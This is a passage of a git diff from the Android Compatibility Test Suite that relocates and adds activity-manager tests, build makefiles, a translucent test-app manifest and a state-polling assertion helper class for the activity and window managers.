+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base/activitymanager
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceSdk25TestCases android.server.am.AspectRatioSdk25Tests
+ */
+@RunWith(AndroidJUnit4.class)
+@Presubmit
+public class AspectRatioSdk25Tests extends AspectRatioTestsBase {
+
+    // Max supported aspect ratio for pre-O apps.
+    private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
+
+    // Test target activity that has targetSdk="25" and resizeableActivity="false".
+    public static class Sdk25MaxAspectRatioActivity extends Activity {
+    }
+
+    @Rule
+    public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
+            new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class,
+                    false /* initialTouchMode */, false /* launchActivity */);
+
+    @Test
+    public void testMaxAspectRatioPreOActivity() throws Exception {
+        runAspectRatioTest(mSdk25MaxAspectRatioActivity, actual -> {
+            if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
+            fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
+        });
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk b/tests/framework/base/activitymanager/translucentapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/Android.mk
rename to tests/framework/base/activitymanager/translucentapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/AndroidManifest.xml
rename to tests/framework/base/activitymanager/translucentapp/AndroidManifest.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java b/tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/translucentapp/src/android/server/translucentapp/TranslucentLandscapeActivity.java
rename to tests/framework/base/activitymanager/translucentapp/src/android/server/am/translucentapp/TranslucentLandscapeActivity.java
diff --git a/tests/framework/base/activitymanager/translucentappsdk26/Android.mk b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
new file mode 100644
index 0000000..dbb0b2b
--- /dev/null
+++ b/tests/framework/base/activitymanager/translucentappsdk26/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := \
+    $(call all-java-files-under, ../translucentapp/src) \
+
+LOCAL_SDK_VERSION := 26
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDeviceTranslucentTestApp26
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
new file mode 100755
index 0000000..43c85f5
--- /dev/null
+++ b/tests/framework/base/activitymanager/translucentappsdk26/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+          package="android.server.translucentapp26">
+    <application android:label="CtsTranslucentApp26">
+        <activity android:name="android.server.translucentapp.TranslucentLandscapeActivity"
+                  android:theme="@android:style/Theme.Translucent.NoTitleBar"
+                android:exported="true"
+                android:screenOrientation="landscape">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
+
diff --git a/tests/framework/base/activitymanager/util/Android.mk b/tests/framework/base/activitymanager/util/Android.mk
new file mode 100644
index 0000000..6fa0331
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2012 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    platformprotosnano \
+    compatibility-device-util \
+    android-support-test
+
+LOCAL_JAVA_LIBRARIES := core-oj core-libart
+
+LOCAL_MODULE := cts-amwm-util
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/util/run-test b/tests/framework/base/activitymanager/util/run-test
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/util/run-test
rename to tests/framework/base/activitymanager/util/run-test
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
new file mode 100644
index 0000000..583d787
--- /dev/null
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -0,0 +1,986 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.content.pm.ActivityInfo.RESIZE_MODE_RESIZEABLE;
+import static android.server.am.ActivityManagerTestBase.componentName;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.ComponentName;
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowStack;
+import android.server.am.WindowManagerState.WindowState;
+import android.server.am.WindowManagerState.WindowTask;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.function.BiPredicate;
+import java.util.function.BooleanSupplier;
+import java.util.function.Predicate;
+
+/**
+ * Combined state of the activity manager and window manager.
+ */
+public class ActivityAndWindowManagersState {
+
+    // Clone of android DisplayMetrics.DENSITY_DEFAULT (DENSITY_MEDIUM)
+    // (Needed in host-side tests to convert dp to px.)
+    private static final int DISPLAY_DENSITY_DEFAULT = 160;
+    // TODO: Change to use framework constant.
+    public static final int DEFAULT_DISPLAY_ID = 0;
+
+    // Default minimal size of resizable task, used if none is set explicitly.
+    // Must be kept in sync with 'default_minimal_size_resizable_task' dimen from frameworks/base.
+    private static final int DEFAULT_RESIZABLE_TASK_SIZE_DP = 220;
+
+    // Default minimal size of a resizable PiP task, used if none is set explicitly.
+    // Must be kept in sync with 'default_minimal_size_pip_resizable_task' dimen from
+    // frameworks/base.
+    private static final int DEFAULT_PIP_RESIZABLE_TASK_SIZE_DP = 108;
+
+    private ActivityManagerState mAmState = new ActivityManagerState();
+    private WindowManagerState mWmState = new WindowManagerState();
+
+    private boolean mUseActivityNames = true;
+
+    @Deprecated
+    public void computeState(String... waitForActivitiesVisible)
+            throws Exception {
+        WaitForValidActivityState[] states = waitForActivitiesVisible != null ?
+                new WaitForValidActivityState[waitForActivitiesVisible.length] : null;
+        if (states != null) {
+            for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+                states[i] =
+                        new WaitForValidActivityState.Builder(waitForActivitiesVisible[i]).build();
+            }
+        }
+        computeState(states);
+    }
+
+    @Deprecated
+    public void computeState() throws Exception {
+        computeState(true);
+    }
+
+    /**
+     * Compute AM and WM state of device, check sanity and bounds.
+     * WM state will include only visible windows, stack and task bounds will be compared.
+     *
+     * @param waitForActivitiesVisible array of activity names to wait for.
+     */
+    public void computeState(WaitForValidActivityState... waitForActivitiesVisible)
+            throws Exception {
+        computeState(true, waitForActivitiesVisible);
+    }
+
+    /**
+     * Compute AM and WM state of device, check sanity and bounds.
+     *
+     * @param compareTaskAndStackBounds pass 'true' if stack and task bounds should be compared,
+     *                                  'false' otherwise.
+     * @param waitForActivitiesVisible  array of activity states to wait for.
+     */
+    void computeState(boolean compareTaskAndStackBounds,
+            WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+        waitForValidState(compareTaskAndStackBounds, waitForActivitiesVisible);
+        assertSanity();
+        assertValidBounds(compareTaskAndStackBounds);
+    }
+
+    /**
+     * By default computeState allows you to pass only the activity name it and
+     * it will generate the full window name for the main activity window. In the
+     * case of secondary application windows though this isn't helpful, as they
+     * may follow a different format, so this method lets you disable that behavior,
+     * prior to calling a computeState variant
+     */
+    public void setUseActivityNamesForWindowNames(boolean useActivityNames) {
+        mUseActivityNames = useActivityNames;
+    }
+
+    /**
+     * Compute AM and WM state of device, wait for the activity records to be added, and
+     * wait for debugger window to show up.
+     *
+     * This should only be used when starting with -D (debugger) option, where we pop up the
+     * waiting-for-debugger window, but real activity window won't show up since we're waiting
+     * for debugger.
+     */
+    void waitForDebuggerWindowVisible(String[] waitForActivityRecords) {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState();
+            mWmState.computeState();
+            if (shouldWaitForDebuggerWindow() ||
+                    shouldWaitForActivityRecords(waitForActivityRecords)) {
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    /**
+     * Wait for the activity to appear and for valid state in AM and WM.
+     *
+     * @param waitForActivityVisible name of activity to wait for.
+     */
+    @Deprecated
+    void waitForValidState(String waitForActivityVisible)
+            throws Exception {
+        waitForValidState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder()
+                        .setActivityName(waitForActivityVisible)
+                        .build());
+    }
+
+    /** Wait for the activity to appear and for valid state in AM and WM. */
+    void waitForValidState(WaitForValidActivityState... waitForActivityVisible) throws Exception {
+        waitForValidState(false /* compareTaskAndStackBounds */, waitForActivityVisible);
+    }
+
+    /**
+     * Wait for the activity to appear in proper stack and for valid state in AM and WM.
+     *
+     * @param waitForActivityVisible name of activity to wait for.
+     * @param stackId                id of the stack where provided activity should be found.
+     */
+    @Deprecated
+    void waitForValidState(String waitForActivityVisible, int stackId)
+            throws Exception {
+        waitForValidState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder()
+                        .setActivityName(waitForActivityVisible)
+                        .setStackId(stackId)
+                        .build());
+    }
+
+    void waitForValidStateWithActivityType(String waitForActivityVisible, int activityType)
+            throws Exception {
+        waitForValidState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder()
+                        .setActivityName(waitForActivityVisible)
+                        .setActivityType(activityType)
+                        .build());
+    }
+
+    void waitForValidState(String waitForActivityVisible, int windowingMode, int activityType)
+            throws Exception {
+        waitForValidState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder()
+                        .setActivityName(waitForActivityVisible)
+                        .setActivityType(activityType)
+                        .setWindowingMode(windowingMode)
+                        .build());
+    }
+
+    /**
+     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+     *
+     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+     *                                  for equality.
+     * @param waitForActivitiesVisible  array of activity state to wait for.
+     */
+    private void waitForValidState(boolean compareTaskAndStackBounds,
+            WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+        waitForValidState(compareTaskAndStackBounds, componentName, waitForActivitiesVisible);
+    }
+
+    /**
+     * Wait for the activities to appear in proper stacks and for valid state in AM and WM.
+     *
+     * @param compareTaskAndStackBounds flag indicating if we should compare task and stack bounds
+     *                                  for equality.
+     * @param packageName               name of the package of activities that we're waiting for.
+     * @param waitForActivitiesVisible  array of activity states to wait for.
+     */
+    void waitForValidState(boolean compareTaskAndStackBounds, String packageName,
+            WaitForValidActivityState... waitForActivitiesVisible) throws Exception {
+        int retriesLeft = 5;
+        do {
+            // TODO: Get state of AM and WM at the same time to avoid mismatches caused by
+            // requesting dump in some intermediate state.
+            mAmState.computeState();
+            mWmState.computeState();
+            if (shouldWaitForValidStacks(compareTaskAndStackBounds)
+                    || shouldWaitForActivities(packageName, waitForActivitiesVisible)
+                    || shouldWaitForWindows()) {
+                log("***Waiting for valid stacks and activities states...");
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    void waitForAllStoppedActivities() throws Exception {
+        int retriesLeft = 5;
+        do {
+            mAmState.computeState();
+            if (mAmState.containsStartedActivities()){
+                log("***Waiting for valid stacks and activities states...");
+                try {
+                    Thread.sleep(1500);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertFalse(mAmState.containsStartedActivities());
+    }
+
+    void waitForHomeActivityVisible() throws Exception {
+        ComponentName homeActivity = mAmState.getHomeActivityName();
+        // Sometimes this function is called before we know what Home Activity is
+        if (homeActivity == null) {
+            log("Computing state to determine Home Activity");
+            computeState();
+            homeActivity = mAmState.getHomeActivityName();
+        }
+        assertNotNull("homeActivity should not be null", homeActivity);
+        waitForValidState(new WaitForValidActivityState(homeActivity));
+    }
+
+    /**
+     * @return true if recents activity is visible. Devices without recents will return false
+     */
+    boolean waitForRecentsActivityVisible() throws Exception {
+        waitForWithAmState(ActivityManagerState::isRecentsActivityVisible,
+                "***Waiting for recents activity to be visible...");
+        return mAmState.isRecentsActivityVisible();
+    }
+
+    void waitForKeyguardShowingAndNotOccluded() throws Exception {
+        waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
+                        && !state.getKeyguardControllerState().keyguardOccluded,
+                "***Waiting for Keyguard showing...");
+    }
+
+    void waitForKeyguardShowingAndOccluded() throws Exception {
+        waitForWithAmState(state -> state.getKeyguardControllerState().keyguardShowing
+                        && state.getKeyguardControllerState().keyguardOccluded,
+                "***Waiting for Keyguard showing and occluded...");
+    }
+
+    void waitForKeyguardGone() throws Exception {
+        waitForWithAmState(state -> !state.getKeyguardControllerState().keyguardShowing,
+                "***Waiting for Keyguard gone...");
+    }
+
+    void waitForRotation(int rotation) throws Exception {
+        waitForWithWmState(state -> state.getRotation() == rotation,
+                "***Waiting for Rotation: " + rotation);
+    }
+
+    void waitForDisplayUnfrozen() throws Exception {
+        waitForWithWmState(state -> !state.isDisplayFrozen(),
+                "***Waiting for Display unfrozen");
+    }
+
+    void waitForActivityState(String activityName, String activityState)
+            throws Exception {
+        waitForWithAmState(state -> state.hasActivityState(activityName, activityState),
+                "***Waiting for Activity State: " + activityState);
+    }
+
+    @Deprecated
+    void waitForFocusedStack(int stackId) throws Exception {
+        waitForWithAmState(state -> state.getFocusedStackId() == stackId,
+                "***Waiting for focused stack...");
+    }
+
+    void waitForFocusedStack(int windowingMode, int activityType) throws Exception {
+        waitForWithAmState(state ->
+                        (activityType == ACTIVITY_TYPE_UNDEFINED
+                                || state.getFocusedStackActivityType() == activityType)
+                        && (windowingMode == WINDOWING_MODE_UNDEFINED
+                                || state.getFocusedStackWindowingMode() == windowingMode),
+                "***Waiting for focused stack...");
+    }
+
+    void waitForAppTransitionIdle() throws Exception {
+        waitForWithWmState(
+                state -> WindowManagerState.APP_STATE_IDLE.equals(state.getAppTransitionState()),
+                "***Waiting for app transition idle...");
+    }
+
+    void waitForWithAmState(Predicate<ActivityManagerState> waitCondition,
+            String message) throws Exception {
+        waitFor((amState, wmState) -> waitCondition.test(amState), message);
+    }
+
+    void waitForWithWmState(Predicate<WindowManagerState> waitCondition,
+            String message) throws Exception {
+        waitFor((amState, wmState) -> waitCondition.test(wmState), message);
+    }
+
+    void waitFor(
+            BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
+            throws Exception {
+        waitFor(message, () -> {
+            try {
+                mAmState.computeState();
+                mWmState.computeState();
+            } catch (Exception e) {
+                logE(e.toString());
+                return false;
+            }
+            return waitCondition.test(mAmState, mWmState);
+        });
+    }
+
+    void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
+        int retriesLeft = 5;
+        do {
+            if (!waitCondition.getAsBoolean()) {
+                log(message);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                    // Well I guess we are not waiting...
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+    }
+
+    /**
+     * @return true if should wait for valid stacks state.
+     */
+    private boolean shouldWaitForValidStacks(boolean compareTaskAndStackBounds) {
+        if (!taskListsInAmAndWmAreEqual()) {
+            // We want to wait for equal task lists in AM and WM in case we caught them in the
+            // middle of some state change operations.
+            log("***taskListsInAmAndWmAreEqual=false");
+            return true;
+        }
+        if (!stackBoundsInAMAndWMAreEqual()) {
+            // We want to wait a little for the stacks in AM and WM to have equal bounds as there
+            // might be a transition animation ongoing when we got the states from WM AM separately.
+            log("***stackBoundsInAMAndWMAreEqual=false");
+            return true;
+        }
+        try {
+            // Temporary fix to avoid catching intermediate state with different task bounds in AM
+            // and WM.
+            assertValidBounds(compareTaskAndStackBounds);
+        } catch (AssertionError e) {
+            log("***taskBoundsInAMAndWMAreEqual=false : " + e.getMessage());
+            return true;
+        }
+        final int stackCount = mAmState.getStackCount();
+        if (stackCount == 0) {
+            log("***stackCount=" + stackCount);
+            return true;
+        }
+        final int resumedActivitiesCount = mAmState.getResumedActivitiesCount();
+        if (!mAmState.getKeyguardControllerState().keyguardShowing && resumedActivitiesCount != 1) {
+            log("***resumedActivitiesCount=" + resumedActivitiesCount);
+            return true;
+        }
+        if (mAmState.getFocusedActivity() == null) {
+            log("***focusedActivity=null");
+            return true;
+        }
+        return false;
+    }
+
+    /**
+     * @return true if should wait for some activities to become visible.
+     */
+    private boolean shouldWaitForActivities(String packageName,
+            WaitForValidActivityState... waitForActivitiesVisible) {
+        if (waitForActivitiesVisible == null || waitForActivitiesVisible.length == 0) {
+            return false;
+        }
+        // If the caller is interested in us waiting for some particular activity windows to be
+        // visible before compute the state. Check for the visibility of those activity windows
+        // and for placing them in correct stacks (if requested).
+        boolean allActivityWindowsVisible = true;
+        boolean tasksInCorrectStacks = true;
+        List<WindowState> matchingWindowStates = new ArrayList<>();
+        for (int i = 0; i < waitForActivitiesVisible.length; i++) {
+            final WaitForValidActivityState state = waitForActivitiesVisible[i];
+            final String activityComponentName;
+            final String windowName;
+            if (state.componentName != null) {
+                activityComponentName = state.componentName.flattenToShortString();
+                windowName = state.componentName.flattenToString();
+            } else {
+                final String activityName = waitForActivitiesVisible[i].activityName;
+                activityComponentName =
+                        ActivityManagerTestBase.getActivityComponentName(packageName, activityName);
+                // Check if window is visible - it should be represented as one of the window
+                // states.
+                windowName = mUseActivityNames
+                        ? ActivityManagerTestBase.getWindowName(packageName, activityName)
+                        : activityName;
+            }
+            final int stackId = waitForActivitiesVisible[i].stackId;
+            final int windowingMode = waitForActivitiesVisible[i].windowingMode;
+            final int activityType = waitForActivitiesVisible[i].activityType;
+
+            mWmState.getMatchingVisibleWindowState(windowName, matchingWindowStates);
+            boolean activityWindowVisible = !matchingWindowStates.isEmpty();
+            if (!activityWindowVisible) {
+                log("Activity window not visible: " + windowName);
+                allActivityWindowsVisible = false;
+            } else if (!mAmState.isActivityVisible(activityComponentName)) {
+                log("Activity not visible: " + activityComponentName);
+                allActivityWindowsVisible = false;
+            } else {
+                // Check if window is already the correct state requested by test.
+                boolean windowInCorrectState = false;
+                for (WindowState ws : matchingWindowStates) {
+                    if (stackId != INVALID_STACK_ID && ws.getStackId() != stackId) {
+                        continue;
+                    }
+                    if (windowingMode != WINDOWING_MODE_UNDEFINED
+                            && ws.getWindowingMode() != windowingMode) {
+                        continue;
+                    }
+                    if (activityType != ACTIVITY_TYPE_UNDEFINED
+                            && ws.getActivityType() != activityType) {
+                        continue;
+                    }
+                    windowInCorrectState = true;
+                    break;
+                }
+
+                if (!windowInCorrectState) {
+                    log("Window in incorrect stack: " + waitForActivitiesVisible[i]);
+                    tasksInCorrectStacks = false;
+                }
+            }
+        }
+        return !allActivityWindowsVisible || !tasksInCorrectStacks;
+    }
+
+    /**
+     * @return true if should wait valid windows state.
+     */
+    private boolean shouldWaitForWindows() {
+        if (mWmState.getFrontWindow() == null) {
+            log("***frontWindow=null");
+            return true;
+        }
+        if (mWmState.getFocusedWindow() == null) {
+            log("***focusedWindow=null");
+            return true;
+        }
+        if (mWmState.getFocusedApp() == null) {
+            log("***focusedApp=null");
+            return true;
+        }
+
+        return false;
+    }
+
+    private boolean shouldWaitForDebuggerWindow() {
+        List<WindowState> matchingWindowStates = new ArrayList<>();
+        mWmState.getMatchingVisibleWindowState("android.server.am", matchingWindowStates);
+        for (WindowState ws : matchingWindowStates) {
+            if (ws.isDebuggerWindow()) {
+                return false;
+            }
+        }
+        log("Debugger window not available yet");
+        return true;
+    }
+
+    private boolean shouldWaitForActivityRecords(String[] waitForActivityRecords) {
+        if (waitForActivityRecords == null || waitForActivityRecords.length == 0) {
+            return false;
+        }
+        // Check if the activity records we're looking for is already added.
+        for (int i = 0; i < waitForActivityRecords.length; i++) {
+            if (!mAmState.isActivityVisible(waitForActivityRecords[i])) {
+                log("ActivityRecord " + waitForActivityRecords[i] + " not visible yet");
+                return true;
+            }
+        }
+        return false;
+    }
+
+    ActivityManagerState getAmState() {
+        return mAmState;
+    }
+
+    public WindowManagerState getWmState() {
+        return mWmState;
+    }
+
+    void assertSanity() throws Exception {
+        assertTrue("Must have stacks", mAmState.getStackCount() > 0);
+        if (!mAmState.getKeyguardControllerState().keyguardShowing) {
+            assertEquals("There should be one and only one resumed activity in the system.",
+                    1, mAmState.getResumedActivitiesCount());
+        }
+        assertNotNull("Must have focus activity.", mAmState.getFocusedActivity());
+
+        for (ActivityStack aStack : mAmState.getStacks()) {
+            final int stackId = aStack.mStackId;
+            for (ActivityTask aTask : aStack.getTasks()) {
+                assertEquals("Stack can only contain its own tasks", stackId, aTask.mStackId);
+            }
+        }
+
+        assertNotNull("Must have front window.", mWmState.getFrontWindow());
+        assertNotNull("Must have focused window.", mWmState.getFocusedWindow());
+        assertNotNull("Must have app.", mWmState.getFocusedApp());
+    }
+
+    void assertContainsStack(String msg, int windowingMode, int activityType) throws Exception {
+        assertTrue(msg, mAmState.containsStack(windowingMode, activityType));
+        assertTrue(msg, mWmState.containsStack(windowingMode, activityType));
+    }
+
+    @Deprecated
+    void assertDoesNotContainStack(String msg, int stackId) throws Exception {
+        assertFalse(msg, mAmState.containsStack(stackId));
+        assertFalse(msg, mWmState.containsStack(stackId));
+    }
+
+    void assertDoesNotContainStack(String msg, int windowingMode, int activityType)
+            throws Exception {
+        assertFalse(msg, mAmState.containsStack(windowingMode, activityType));
+        assertFalse(msg, mWmState.containsStack(windowingMode, activityType));
+    }
+
+    void assertFrontStack(String msg, int stackId) throws Exception {
+        assertEquals(msg, stackId, mAmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+        assertEquals(msg, stackId, mWmState.getFrontStackId(DEFAULT_DISPLAY_ID));
+    }
+
+    void assertFrontStack(String msg, int windowingMode, int activityType)
+            throws Exception {
+        if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+            assertEquals(msg, windowingMode,
+                    mAmState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID));
+        }
+        if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+            assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+        }
+    }
+
+    void assertFrontStackActivityType(String msg, int activityType) throws Exception {
+        assertEquals(msg, activityType, mAmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+        assertEquals(msg, activityType, mWmState.getFrontStackActivityType(DEFAULT_DISPLAY_ID));
+    }
+
+    @Deprecated
+    void assertFocusedStack(String msg, int stackId) throws Exception {
+        assertEquals(msg, stackId, mAmState.getFocusedStackId());
+    }
+
+    void assertFocusedStack(String msg, int windowingMode, int activityType)
+            throws Exception {
+        if (windowingMode != WINDOWING_MODE_UNDEFINED) {
+            assertEquals(msg, windowingMode, mAmState.getFocusedStackWindowingMode());
+        }
+        if (activityType != ACTIVITY_TYPE_UNDEFINED) {
+            assertEquals(msg, activityType, mAmState.getFocusedStackActivityType());
+        }
+    }
+
+    void assertFocusedActivity(String msg, String activityName) throws Exception {
+        assertFocusedActivity(msg, componentName, activityName);
+    }
+
+    void assertFocusedActivity(String msg, String packageName, String activityName)
+            throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(packageName,
+                activityName);
+        assertEquals(msg, componentName, mAmState.getFocusedActivity());
+        assertEquals(msg, componentName, mWmState.getFocusedApp());
+    }
+
+    void assertNotFocusedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        if (mAmState.getFocusedActivity().equals(componentName)) {
+            assertNotEquals(msg, mAmState.getFocusedActivity(), componentName);
+        }
+        if (mWmState.getFocusedApp().equals(componentName)) {
+            assertNotEquals(msg, mWmState.getFocusedApp(), componentName);
+        }
+    }
+
+    void assertResumedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        assertEquals(msg, componentName, mAmState.getResumedActivity());
+    }
+
+    void assertNotResumedActivity(String msg, String activityName) throws Exception {
+        final String componentName = ActivityManagerTestBase.getActivityComponentName(activityName);
+        if (mAmState.getResumedActivity().equals(componentName)) {
+            assertNotEquals(msg, mAmState.getResumedActivity(), componentName);
+        }
+    }
+
+    void assertFocusedWindow(String msg, String windowName) {
+        assertEquals(msg, windowName, mWmState.getFocusedWindow());
+    }
+
+    void assertNotFocusedWindow(String msg, String windowName) {
+        if (mWmState.getFocusedWindow().equals(windowName)) {
+            assertNotEquals(msg, mWmState.getFocusedWindow(), windowName);
+        }
+    }
+
+    void assertFrontWindow(String msg, String windowName) {
+        assertEquals(msg, windowName, mWmState.getFrontWindow());
+    }
+
+    public void assertVisibility(String activityName, boolean visible) {
+        final String activityComponentName =
+                ActivityManagerTestBase.getActivityComponentName(activityName);
+        final String windowName =
+                ActivityManagerTestBase.getWindowName(activityName);
+        assertVisibility(activityComponentName, windowName, visible);
+    }
+
+    private void assertVisibility(final ComponentName activityName, final boolean visible) {
+        final String activityComponentName = activityName.flattenToShortString();
+        final String windowName = activityName.flattenToString();
+        assertVisibility(activityComponentName, windowName, visible);
+    }
+
+    private void assertVisibility(String activityComponentName, String windowName,
+            boolean visible) {
